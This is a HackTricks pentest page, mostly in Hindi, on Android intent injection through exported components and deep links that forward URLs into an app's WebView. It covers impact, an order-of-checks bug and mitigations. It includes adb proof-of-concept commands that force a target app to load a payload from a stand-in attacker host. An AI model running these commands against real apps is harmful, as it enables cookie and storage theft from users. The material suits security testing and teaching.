Intent Injection

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Intent injection उन घटकों का दुरुपयोग करता है जो हमलावर-नियंत्रित Intents या डेटा को स्वीकार करते हैं, जिसे बाद में Intents में परिवर्तित किया जाता है। Android ऐप pentests के दौरान दो बहुत सामान्य पैटर्न हैं:

  • निर्यातित Activities/Services/BroadcastReceivers को तैयार किए गए अतिरिक्त डेटा को पास करना, जिन्हें बाद में विशेषाधिकार प्राप्त, गैर-निर्यातित घटकों को अग्रेषित किया जाता है।
  • निर्यातित VIEW/BROWSABLE गहरे लिंक को सक्रिय करना जो हमलावर-नियंत्रित URLs को आंतरिक WebViews या अन्य संवेदनशील स्राव में अग्रेषित करते हैं।

यदि एक ऐप एक कस्टम स्कीम गहरा लिंक उजागर करता है जैसे:

text
myscheme://com.example.app/web?url=<attacker_url>

और प्राप्त करने वाली Activity url क्वेरी पैरामीटर को WebView में अग्रेषित करती है, आप ऐप को अपने WebView संदर्भ में मनमाने दूरस्थ सामग्री को रेंडर करने के लिए मजबूर कर सकते हैं।

PoC adb के माध्यम से:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS ऐप के WebView प्रोफ़ाइल के अंदर निष्पादित होता है।
  • यदि JavaScript सक्षम है (डिफ़ॉल्ट रूप से या गलत क्रम के कारण), आप किसी भी प्रदर्शित @JavascriptInterface ऑब्जेक्ट्स को सूचीबद्ध/उपयोग कर सकते हैं, WebView कुकीज़/स्थानीय संग्रह चुरा सकते हैं, और पिवट कर सकते हैं।

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript

एक आवर्ती बग JavaScript (या अन्य अनुमति देने वाले WebView सेटिंग्स) को अंतिम URL अनुमति सूची/सत्यापन समाप्त होने से पहले सक्षम करना है। यदि प्रारंभिक सहायक आपके गहरे लिंक को स्वीकार करते हैं और WebView पहले कॉन्फ़िगर किया गया है, तो आपका अंतिम लोड JavaScript पहले से सक्षम होने के साथ होता है, भले ही बाद की जांच दोषपूर्ण या बहुत देर से हों।

Decompiled कोड में क्या देखना है:

  • कई सहायक जो URL को अलग-अलग तरीके से पार्स/स्प्लिट/पुनर्निर्माण करते हैं (असंगत सामान्यीकरण)।
  • अंतिम होस्ट/पथ अनुमति सूची जांच से पहले getSettings().setJavaScriptEnabled(true) को कॉल करना।
  • एक पाइपलाइन जैसे: पार्स → आंशिक सत्यापन → WebView कॉन्फ़िगर करें → अंतिम सत्यापन → loadUrl।

Mitigations

  • एक बार मानकीकरण करें और सख्ती से सत्यापित करें; बंद विफल करें।
  • केवल सभी जांच पास होने के बाद और विश्वसनीय सामग्री लोड करने से ठीक पहले JavaScript सक्षम करें।
  • अविश्वसनीय मूलों के लिए पुलों को उजागर करने से बचें।

Other classic Intent injection primitives

  • attacker-supplied Intent एक्स्ट्रा का उपयोग करके startActivity/sendBroadcast जो बाद में फिर से पार्स (Intent.parseUri(...)) और निष्पादित होते हैं।
  • निर्यातित प्रॉक्सी घटक जो बिना अनुमति जांच के Intents को गैर-निर्यातित संवेदनशील घटकों की ओर अग्रेषित करते हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें